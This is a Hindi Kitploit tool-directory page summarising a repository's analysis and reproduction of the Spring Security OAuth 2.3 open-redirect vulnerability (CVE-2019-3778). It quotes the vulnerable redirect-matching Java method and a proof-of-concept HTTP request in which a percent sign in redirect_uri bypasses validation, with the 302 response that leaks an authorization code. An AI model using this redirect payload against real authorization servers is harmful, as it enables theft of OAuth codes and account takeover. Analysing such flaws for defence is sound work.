Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection — Spring Security OAuth 2.3 Open Redirection विश्लेषण एवं पुनरुत्पादन | Kitploit
उपकरण/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षा
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection विश्लेषण एवं पुनरुत्पादन

रिपॉजिटरी देखें
16 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

स्प्रिंग सिक्योरिटी OAuth 2.3 ओपन रिडायरेक्शन - विश्लेषण और पुनरुत्पादन अनुभाग

शोषण शीर्षक: spring-security-oauth2 में ओपन रिडायरेक्टर

दिनांक: 17 जून 2019

शोषण लेखक: Riemann

विक्रेता होमपेज: https://spring.io/projects/spring-security-oauth

सॉफ्टवेयर लिंक: https://spring.io

संस्करण: स्प्रिंग सिक्योरिटी OAuth संस्करण 2.3, 2.3.6 से पहले - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

परीक्षित: UBUNTU 16.04 LTS - org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE : CVE-2019-11269 | CVE-2019-3778

विवरण

स्प्रिंग सिक्योरिटी OAuth के संस्करण 2.3 (2.3.6 से पहले), 2.2 (2.2.5 से पहले), 2.1 (2.1.5 से पहले), और 2.0 (2.0.18 से पहले), साथ ही पुराने असमर्थित संस्करण, एक ओपन रिडायरेक्टर हमले के प्रति संवेदनशील हो सकते हैं जो एक प्राधिकरण कोड को लीक कर सकता है। एक दुर्भावनापूर्ण उपयोगकर्ता या हमलावर प्राधिकरण कोड अनुदान प्रकार का उपयोग करके प्राधिकरण एंडपॉइंट पर एक अनुरोध तैयार कर सकता है, और redirect_uri पैरामीटर के माध्यम से एक हेरफेर किया गया रिडायरेक्शन URI निर्दिष्ट कर सकता है। इससे प्राधिकरण सर्वर संसाधन स्वामी के यूज़र-एजेंट को हमलावर के नियंत्रण वाले एक URI पर लीक हुए प्राधिकरण कोड के साथ रिडायरेक्ट कर सकता है।

भेद्यता:

REDIRECT_URI पैरामीटर में हेरफेर करके, एक हमलावर वास्तव में सत्यापन को बायपास कर सकता है।

भेद्यता पैकेज org.springframework.security.oauth2.provider.endpoint के अंतर्गत पाई जाती है। क्लास: DefaultRedirectResolver, जिसकी विधि obtainMatchingRedirect उचित स्वच्छता नहीं करती

/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");

root@kitploit:~
	if (redirectUris.size() == 1 && requestedRedirect == null) {
		return redirectUris.iterator().next();
	}
	for (String redirectUri : redirectUris) {
		if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
			return requestedRedirect;
		}
	}
	throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
			+ " does not match one of the registered values: " + redirectUris.toString());
}

POC हमला वेक्टर

क्लाइंट ऐप द्वारा उपयोगकर्ता के लॉग इन करने के बाद किया गया निम्नलिखित अनुरोध, REDIRECT_URI पैरामीटर शामिल करता है। सत्यापन को केवल एक प्रतिशत चिह्न जोड़कर बायपास किया जाता है जो RedirectMismatchException त्रुटि के बजाय एक रिडायरेक्ट ट्रिगर करता है

मूल अनुरोध जिसमें एक वैध URI है: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

हमलावर तब एप्लिकेशन को धोखा देता है, उदाहरण के लिए एक प्रतिशत चिह्न जोड़कर URI को पूरी तरह से दूसरे सर्वर में बदल देता है:

GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

प्रतिक्रिया वास्तव में अपेक्षित OAUTH त्रुटि उत्पन्न नहीं करती बल्कि उपयोगकर्ता को रिडायरेक्ट करती है:

HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

टूल डाउनलोड करें